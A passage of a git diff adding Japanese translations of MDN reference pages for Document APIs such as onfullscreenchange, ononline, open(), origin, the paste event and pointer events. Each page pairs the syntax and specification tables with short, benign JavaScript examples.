+title: element.onbeforescriptexecute +slug: Web/API/Document/onbeforescriptexecute +tags: + - DOM +translation_of: Web/API/Document/onbeforescriptexecute +--- +<div>{{ApiRef}}{{gecko_minversion_header("2")}}</div> + +<h2 id="Summary" name="Summary">概要</h2> + +<p>HTML 文書内で宣言された {{HTMLElement("script")}} 要素内のコードの実行開始直前に発生するイベントをハンドリングします。<code>appendChild()</code> などを用いるなどして動的に追加された script 要素ではこのイベントは発生しません。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><em>document.onbeforescriptexecute = funcRef;</em> +</pre> + +<ul> + <li><em>funcRef</em> : イベント発生時に呼ばれる関数への参照。イベントの <code>target</code> 属性は実行される script 要素に設定されます。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js">// ※ logMessage 関数は定義済みとする + +function starting(e) { + logMessage("スクリプト実行開始(ID:" + e.target.id + ")"); +} + +document.addEventListener("beforescriptexecute", starting, true); +</pre> + +<p><a href="/samples/html/currentScript.html">実際の表示を確認</a></p> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<ul> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#the-script-element" title="http://www.whatwg.org/specs/web-apps/current-work/#the-script-element">HTML5</a></li> +</ul> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("element.onafterscriptexecute")}}</li> + <li>{{domxref("document.currentScript")}}</li> +</ul> diff --git a/files/ja/web/api/document/onfullscreenchange/index.html b/files/ja/web/api/document/onfullscreenchange/index.html new file mode 100644 index 0000000000..8f65458f20 --- /dev/null +++ b/files/ja/web/api/document/onfullscreenchange/index.html @@ -0,0 +1,76 @@ +--- +title: Document.onfullscreenchange +slug: Web/API/Document/onfullscreenchange +tags: + - API + - Document + - Event Handler + - Fullscreen API + - Property + - Reference + - イベントハンドラー + - プロパティ + - 全画面 API +translation_of: Web/API/Document/onfullscreenchange +--- +<div>{{APIRef("Fullscreen API")}}</div> + +<p><span class="seoSummary">{{domxref("Document")}} インターフェイスの <code><strong>onfullscreenchange</strong></code> プロパティは、文書が全画面モードに移行したり復帰したりする直前に発生する {{event("fullscreenchange")}} イベントのイベントハンドラーです。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>targetDocument</var>.onfullscreenchange = <var>fullscreenChangeHandler</var>; +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>文書が全画面モードへの移行および復帰を示す {{event("fullscreenchange")}} イベントを受け取るたびに呼び出されるイベントハンドラーです。</p> + +<h2 id="Usage_notes" name="Usage_notes">使用上のメモ</h2> + +<p><code>fullscreenchange</code> イベントは全画面モードへの移行か復帰かを直接特定する方法がないので、イベントハンドラーでは {{domxref("Document.fullscreenElement")}} の値を見てください。 <code>null</code> であれば、イベントは全画面モードからの<em>復帰</em>を示します。それ以外であれば、指定された要素が画面全体に表示されるところです。</p> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js">document.onfullscreenchange = function ( event ) { + console.log("FULL SCREEN CHANGE") +}; +document.documentElement.onclick = function () { + // requestFullscreen() はイベントハンドラー内で使用しなければなりません。そうしなければ失敗します。 + document.documentElement.requestFullscreen(); +} +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Fullscreen", "#handler-document-onfullscreenchange", "onfullscreenchange")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.onfullscreenchange")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Fullscreen_API">Fullscreen API</a></li> + <li><a href="/ja/docs/Web/API/Fullscreen_API/Guide">Fullscreen API ガイド</a></li> + <li>{{event("fullscreenchange")}}</li> + <li>{{domxref("Document.onfullscreenerror")}}</li> +</ul> diff --git a/files/ja/web/api/document/onfullscreenerror/index.html b/files/ja/web/api/document/onfullscreenerror/index.html new file mode 100644 index 0000000000..b1a915b795 --- /dev/null +++ b/files/ja/web/api/document/onfullscreenerror/index.html @@ -0,0 +1,76 @@ +--- +title: Document.onfullscreenerror +slug: Web/API/Document/onfullscreenerror +tags: + - API + - Document + - Event Handler + - Fullscreen API + - Property + - Reference + - イベントハンドラー + - エラー + - 全画面 + - 全画面 API +translation_of: Web/API/Document/onfullscreenerror +--- +<div>{{ApiRef("Fullscreen API")}}</div> + +<p><span class="seoSummary"><code><strong>Document.onfullscreenerror</strong></code> プロパティは、文書が直前の {{domxref("Element.requestFullscreen()")}} の呼び出しの後で全画面モードへの移行に失敗したときに、文書に送信される {{event("fullscreenerror")}} イベントのイベントハンドラーです。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>targetDocument</var>.onfullscreenerror = <var>fullscreenErrorHandler</var>; +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>{{event("fullscreenerror")}} イベントのイベントハンドラーです。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>この例では <code>requestFullscreen()</code> をイベントハンドラーの外で呼び出そうとしています。 <code>requestFullscreen()</code> はセキュリティ上の理由から、ユーザー操作への応答の中でしか呼び出せないため、これは失敗し、 <code>fullscreenerror</code> が発生して document に送られます。</p> + +<pre class="brush: js">document.onfullscreenerror = function ( event ) { + displayWarning("Unable to switch into full-screen mode."); +}; + +//.... + +document.documentElement.requestFullscreen(); +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Fullscreen", "#handler-document-onfullscreenerror", "onfullscreenerror")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.onfullscreenerror")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Fullscreen_API">Fullscreen API</a></li> + <li><a href="/ja/docs/Web/API/Fullscreen_API/Guide">Fullscreen API ガイド</a></li> + <li>{{event("fullscreenerror")}}</li> + <li>{{domxref("Document.onfullscreenchange")}}</li> + <li>{{domxref("Element.onfullscreenerror")}}</li> +</ul> diff --git a/files/ja/web/api/document/onoffline/index.html b/files/ja/web/api/document/onoffline/index.html new file mode 100644 index 0000000000..c0be3b2734 --- /dev/null +++ b/files/ja/web/api/document/onoffline/index.html @@ -0,0 +1,14 @@ +--- +title: Document.onoffline +slug: Web/API/Document/onoffline +tags: + - API + - DOM + - NeedsContent + - Property + - Reference +translation_of: Web/API/Document/onoffline +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Document.onoffline</code></strong> イベントハンドラーは、 {{event("offline")}} が {{HtmlElement("body")}} 要素上で発生してバブリングしたとき、 {{domxref("navigator.onLine")}} プロパティが変化して <code>false</code> になったときに呼び出されます。</p> diff --git a/files/ja/web/api/document/ononline/index.html b/files/ja/web/api/document/ononline/index.html new file mode 100644 index 0000000000..466d591706 --- /dev/null +++ b/files/ja/web/api/document/ononline/index.html @@ -0,0 +1,39 @@ +--- +title: Document.ononline +slug: Web/API/Document/ononline +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/ononline +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Document.online</code></strong> イベントは、ブラウザーがオンラインモードとオフラインモードの間で切り替わったときに、それぞれのページの {{HtmlElement("body")}} で発生します。加えて、イベントは <code>document.body</code> から <code>document</code> に向けて、 <code>window</code> までバブリングします。どちらのイベントもキャンセル不可能です (ユーザーがオンラインになったり、オフラインに移行したりするのを妨げることはできません)。</p> + +<p><code>window.navigator.onLine</code> は、ブラウザーがオンラインの場合に真偽値の <code>true</code> を返し、明らかにオフラインの場合 (ネットワークから切断された場合) は <code>false</code> を返します。 <code>online</code> および <code>offline</code> イベントはこの属性の値が変化したときに発生します。</p> + +<div class="note"> +<p>重要なことですが、このイベントおよび属性は本質的に信頼できません。コンピューターはインターネットアクセスなしでネットワークに接続することがあります。</p> +</div> + +<p>これらのイベントのリスナーは、おなじみの幾つかの方法で登録することができます。</p> + +<ul> + <li>{{domxref("EventTarget.addEventListener", "addEventListener")}} を <code>window</code>, <code>document</code>, <code>document.body</code> に使用する</li> + <li><code>document</code> または <code>document.body</code> の <code>.ononline</code> または <code>.onoffline</code> プロパティに、 JavaScript の <code>Function</code> オブジェクトを設定する (<strong>注:</strong> <code>window.ononline</code> または <code>window.onoffline</code> の使用は互換性の理由から動作しません。)</li> + <li>HTML マークアップの中で、 <code>ononline="..."</code> または <code>onoffline="..."</code> 属性を <code><body></code> タグに指定する。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<p>実行するとイベントが動作することを確認することができる<a class="external link-https external-icon" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">単純なテストケース</a>があります。</p> + +<h2 id="関連情報">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Online_and_offline_events">online および offline イベント</a></li> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#event-online">WHATWG Web App Specification</a></li> +</ul> diff --git a/files/ja/web/api/document/onselectionchange/index.html b/files/ja/web/api/document/onselectionchange/index.html new file mode 100644 index 0000000000..fb4c595ae0 --- /dev/null +++ b/files/ja/web/api/document/onselectionchange/index.html @@ -0,0 +1,61 @@ +--- +title: Document.onselectionchange +slug: Web/API/Document/onselectionchange +tags: + - API + - Document + - Experimental + - Reference + - イベントハンドラー + - プロパティ +translation_of: Web/API/GlobalEventHandlers/onselectionchange +--- +<div>{{ApiRef('DOM')}}{{SeeCompatTable}}</div> + +<p><code><strong>Document.onselectionchange</strong></code> プロパティは、 {{event("selectionchange")}} イベントがこのオブジェクトに到達したときに呼び出されるイベントハンドラーを表します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>obj</var>.onselectionchange = <var>function</var>; +</pre> + +<ul> + <li><var>function</var> はユーザー定義の関数の名前を、末尾の <code>()</code> や引数を付けない形、または無名関数の宣言です。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: html">document.onselectionchange = function() { console.log("Selection changed!"); }; +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="spectable standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Selection API','','Document.onselectionchange')}}</td> + <td>{{Spec2('Selection API')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<p class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</p> + +<p>{{Compat("api.Document.onselectionchange")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{event("selectionchange")}}</li> + <li>{{domxref("GlobalEventHandlers.onselectstart")}} および {{event('selectstart')}}</li> +</ul> diff --git a/files/ja/web/api/document/open/index.html b/files/ja/web/api/document/open/index.html new file mode 100644 index 0000000000..1b9da4d82f --- /dev/null +++ b/files/ja/web/api/document/open/index.html @@ -0,0 +1,114 @@ +--- +title: Document.open() +slug: Web/API/Document/open +tags: + - API + - DOM + - Document + - Method + - Reference + - open + - メソッド +translation_of: Web/API/Document/open +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Document.open()</code></strong> メソッドは、{{domxref("Document.write", "書き込み", "", "1")}}のために文書を開きます。</p> + +<p>これはいくらかの副作用を招きます。例を挙げます。</p> + +<ul> + <li>文書、文書内のノード、文書のウィンドウに現在登録されているイベントリスナーがすべて除去されます。</li> + <li>すべての既存のノードが文書から除去されます。</li> +</ul> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">document.open(); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<p>なし。</p> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p><code>Document</code> オブジェクトインスタンスです。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>以下の簡単なコードは、文書を開き、その内容をいくつかの異なる HTML の断片に置き換えてから、再び閉じます。</p> + +<pre class="brush: js notranslate">document.open(); +document.write("<p>Hello world!</p>"); +document.write("<p>I am a fish</p>"); +document.write("<p>The number is 42</p>"); +document.close(); +</pre> + +<h2 id="Notes" name="Notes">注</h2> + +<p>ページが読み込まれたあとで {{domxref("document.write()")}} が呼び出されると、自動的に <code>document.open()</code> が呼び出されます。</p> + +<p>Firefox や Internet Explorer では何年も前から、すべてのノードの削除に加えて、 JavaScript の変数なども追加で消去していました。今はそうではありません。<span class="comment">document non-spec'ed parameters to document.open</span></p> + +<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Gecko 固有のメモ</h3> + +<p>Gecko 1.9 以降、このメソッドは他のプロパティと同一オリジンポリシーが同じになるようになり、文書のオリジンを変更しようとした場合に動作しません。</p> + +<p>Gecko 1.9.2 以降、 <code>document.open()</code> は<a href="/docs/Security_check_basics">プリンシパル</a>をスタックからフェッチするのではなく、 URI を使用する文書のプリンシパルを使用します。その結果、 <a class="internal" href="/ja/wrappedJSObject"><code>wrappedJSObject</code></a> を使用しても、 {{domxref("document.write()")}} を{{Glossary("chrome", "クローム")}}からの信頼できない文書に呼び出すことはできません。考え方については<a href="/ja/Security_check_basics">セキュリティチェックの基本</a>を参照してください。</p> + +<h2 id="Three-argument_document.open" name="Three-argument_document.open">引数3つの document.open()</h2> + +<p>あまり知られていませんが、あまり使われていない引数3つ版の <code>document.open()</code> があり、これは {{domxref("Window.open()")}} のエイリアスです (詳細はそのページを参照してください)。</p> + +<p>この呼び出しは、例えば github.com を新しいウィンドウで開き、オープナーは <code>null</code> に設定してみます。</p> + +<pre class="brush: js notranslate">document.open('https://www.github.com','', 'noopener=true')</pre> + +<h2 id="Two-argument_document.open" name="Two-argument_document.open">引数2つの document.open()</h2> + +<p>ブラウザーは以下の形で、引数2つの <code>document.open()</code> に対応してきました。</p> + +<pre class="brush: js notranslate">document.open(<var>type</var>, <var>replace</var>)</pre> + +<p><code><var>type</var></code> は書き込もうとしているデータの MIME タイプ (<code>text/html</code> など) を指定し、 replace が設定されていれば (すなわち "replace" の文字列)、新しい文書の履歴エントリが書き込まれている文書の現在の履歴エントリを置き換えることを指定していました。</p> + +<p>この形式は現在では廃止されています。エラーは発生せず、代わりに <code>document.open()</code> に転送されます (つまり、引数なしで実行した場合と同等です)。 履歴の置換動作は常に行われるようになりました。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.open")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("Document")}}</li> + <li>{{domxref("Window.open()")}}</li> +</ul> diff --git a/files/ja/web/api/document/origin/index.html b/files/ja/web/api/document/origin/index.html new file mode 100644 index 0000000000..810125f8cd --- /dev/null +++ b/files/ja/web/api/document/origin/index.html @@ -0,0 +1,48 @@ +--- +title: Document.origin +slug: Web/API/Document/origin +tags: + - API + - DOM + - Document + - Experimental + - Interface + - Property + - Read-only +translation_of: Web/API/Document/origin +--- +<div>{{APIRef("DOM")}}{{Obsolete_header}}</div> + +<div class="blockIndicator note"> +<p>代わりに <code>self.origin</code> を使用してください。</p> +</div> + +<p><strong><code>Document.origin</code></strong> は読み取り専用プロパティで、文書のオリジンを返します。ほとんどの場合、このプロパティは <code>document.defaultView.location.origin</code> と等価です。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>origin</var> = <var>document</var>.origin;</pre> + +<h2 id="Examples" name="Examples">例</h2> + +<pre class="brush: js notranslate">var origin = document.origin; +// このページでは、 'https://developer.mozilla.org' を返します + +var origin = document.origin; +// "about:blank" では 'null' を返します + +var origin = document.origin; +// "data:text/html,<b>foo</b>" では、 'null' を返します。 +</pre> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.origin")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("URLUtils.origin")}} プロパティ</li> +</ul> diff --git a/files/ja/web/api/document/paste_event/index.html b/files/ja/web/api/document/paste_event/index.html new file mode 100644 index 0000000000..bd4d63b91b --- /dev/null +++ b/files/ja/web/api/document/paste_event/index.html @@ -0,0 +1,76 @@ +--- +title: 'Document: paste イベント' +slug: Web/API/Document/paste_event +tags: + - API + - Document + - Event + - Reference + - Web + - paste + - イベント +translation_of: Web/API/Document/paste_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary"><strong><code>paste</code></strong> イベントは、ユーザーがブラウザーのユーザーインターフェイスから「貼り付け」操作を実行したときに発生します。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("ClipboardEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("HTMLElement/onpaste", "onpaste")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントの本来の対象は、貼り付け操作を意図する対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 <a href="/ja/docs/Web/API/Element/paste_event">Element: paste イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<pre class="brush: js">document.addEventListener('paste', (event) => { + console.log('paste action initiated') +});</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Clipboard API', '#clipboard-event-paste')}}</td> + <td>{{Spec2('Clipboard API')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.paste_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>関連イベント: {{domxref("Document/cut_event", "cut")}}, {{domxref("Document/copy_event", "copy")}}</li> + <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/paste_event", "paste")}}</li> + <li>{{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/paste_event", "paste")}}</li> +</ul> diff --git a/files/ja/web/api/document/plugins/index.html b/files/ja/web/api/document/plugins/index.html new file mode 100644 index 0000000000..735d552908 --- /dev/null +++ b/files/ja/web/api/document/plugins/index.html @@ -0,0 +1,57 @@ +--- +title: Document.plugins +slug: Web/API/Document/plugins +tags: + - API + - Document + - Plugins + - Property + - Reference + - embed + - プロパティ +translation_of: Web/API/Document/plugins +--- +<div>{{APIRef("DOM")}}</div> + +<p>{{domxref("Document")}} インターフェイスの <strong><code>plugins</code></strong> プロパティは読み取り専用で、現在の文書内にある {{HTMLElement("embed")}} 要素を表す1つ以上の {{domxref("HTMLEmbedElement")}} を含んだ {{domxref("HTMLCollection")}} オブジェクトを返します。</p> + +<div class="note">インストールされているプラグインの一覧には、このメソッドでなく {{domxref("window.navigator.plugins")}} を使用してください。</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>embedArrayObj</var> = <var>document</var>.plugins</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>{{domxref("HTMLCollection")}}、または文書内に embed がなければ <code>null</code> です。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-plugins', 'Document.plugins')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.plugins")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537477(v=vs.85)">MSDN documentation</a></li> +</ul> diff --git a/files/ja/web/api/document/pointercancel_event/index.html b/files/ja/web/api/document/pointercancel_event/index.html new file mode 100644 index 0000000000..4a3433bc92 --- /dev/null +++ b/files/ja/web/api/document/pointercancel_event/index.html @@ -0,0 +1,107 @@ +--- +title: 'Document: pointercancel イベント' +slug: Web/API/Document/pointercancel_event +tags: + - API + - Document + - Event + - PointerEvent + - onpointercancel + - pointercancel + - イベント +translation_of: Web/API/Document/pointercancel_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary"><strong><code>pointercancel</code></strong> イベントは、ブラウザーがもうポインターイベントが存在しないと判断したとき、または {{event("pointerdown")}} イベントが発生した後で、ポインターがビューポートのパン、ズーム、スクロールを操作するために使用されたときに発生します。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onpointercancel", "onpointercancel")}}</td> + </tr> + </tbody> +</table> + +<p><code>pointercancel</code> イベントが発生する状況の例をいくつか示します。</p> + +<ul> + <li>ポインターの操作を中止するハードウェアイベントが発生した場合。例えば、アプリケーションスイッチャーインターフェイスやモバイル端末の「ホーム」ボタンを使用してアプリケーションを切り替えた場合などです。</li> + <li>ポインターが活動中に端末の画面の向きが変化した場合。</li> + <li>ユーザーが突然、ポインターの入力を始めたとブラウザーが判断した場合。これが発生するのは、例えば、スタイラスを使用中に画面上で手が反応するのを防ぐために掌を除外して予期せずイベントを起動することを防ぐことに、ハードウェアが対応している場合などです。</li> + <li>CSS の {{cssxref("touch-action")}} プロパティが、入力の継続を防止している場合。</li> +</ul> + +<div class="note"> +<p><code>pointercancel</code> イベントの発生後、ブラウザーは {{event("pointerout")}} イベントと、続いて {{event("pointerleave")}} イベントを送信します。</p> +</div> + +<h2 id="Examples" name="Examples">例</h2> + +<p><code>addEventListener()</code> の使用例:</p> + +<pre class="brush: js">document.addEventListener('pointercancel', (event) => { + console.log('Pointer event cancelled') +});</pre> + +<p><code>onpointercancel</code> イベントハンドラープロパティの使用例:</p> + +<pre class="brush: js">document.onpointercancel = (event) => { + console.log('Pointer event cancelled') +};</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Events', '#the-pointercancel-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.pointercancel_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>関連イベント + <ul> + <li>{{domxref("Document/gotpointercapture_event", "gotpointercapture")}}</li> + <li>{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}</li> + <li>{{domxref("Document/pointerover_event", "pointerover")}}</li> + <li>{{domxref("Document/pointerenter_event", "pointerenter")}}</li> + <li>{{domxref("Document/pointerdown_event", "pointerdown")}}</li> + <li>{{domxref("Document/pointermove_event", "pointermove")}}</li> + <li>{{domxref("Document/pointerup_event", "pointerup")}}</li> + <li>{{domxref("Document/pointerout_event", "pointerout")}}</li> + <li>{{domxref("Document/pointerleave_event", "pointerleave")}}</li> + </ul> + </li> + <li>{{domxref("GlobalEventHandlers.onpointercancel")}} イベントハンドラープロパティ</li> + <li><code>HTMLElement</code> を対象としたこのイベント: {{domxref("HTMLElement/pointercancel_event", "pointercancel")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/pointerdown_event/index.html b/files/ja/web/api/document/pointerdown_event/index.html new file mode 100644 index 0000000000..395b9b8b3f --- /dev/null +++ b/files/ja/web/api/document/pointerdown_event/index.html @@ -0,0 +1,82 @@ +--- +title: 'Document: pointerdown イベント' +slug: Web/API/Document/pointerdown_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - onpointerdown + - pointerdown + - イベント +translation_of: Web/API/Document/pointerdown_event +--- +<div>{{APIRef}}</div> + +<p><code>pointerdown</code> イベントは、ポインターがアクティブになったときに発生します。マウスでは、端末がボタンが押されていない状態から一つ以上のボタンが押されている状態に遷移したときに発生します。タッチ操作では、デジタイザーに物理的な接触が行われたときに発生します。ペンでは、スタイラスがデジタイザーに物理的に接触したときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p><code>addEventListener()</code> の使用例:</p> + +<pre class="brush: js">document.addEventListener('pointerdown', (event) => { + console.log('Pointer down event'); +});</pre> + +<p><code>onpointerdown</code> イベントハンドラープロパティの使用例:</p> + +<pre class="brush: js">document.onpointerdown = (event) => { + console.log('Pointer down event'); +};</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Events', '#the-pointerdown-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.pointerdown_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}} イベントハンドラープロパティ</li> + <li><code>HTMLElement</code> を対象としたこのイベント: {{domxref("HTMLElement/pointerdown_event", "pointerdown")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/pointerenter_event/index.html b/files/ja/web/api/document/pointerenter_event/index.html new file mode 100644 index 0000000000..b2c49a008d --- /dev/null +++ b/files/ja/web/api/document/pointerenter_event/index.html @@ -0,0 +1,91 @@ +--- +title: 'Document: pointerenter イベント' +slug: Web/API/Document/pointerenter_event +tags: 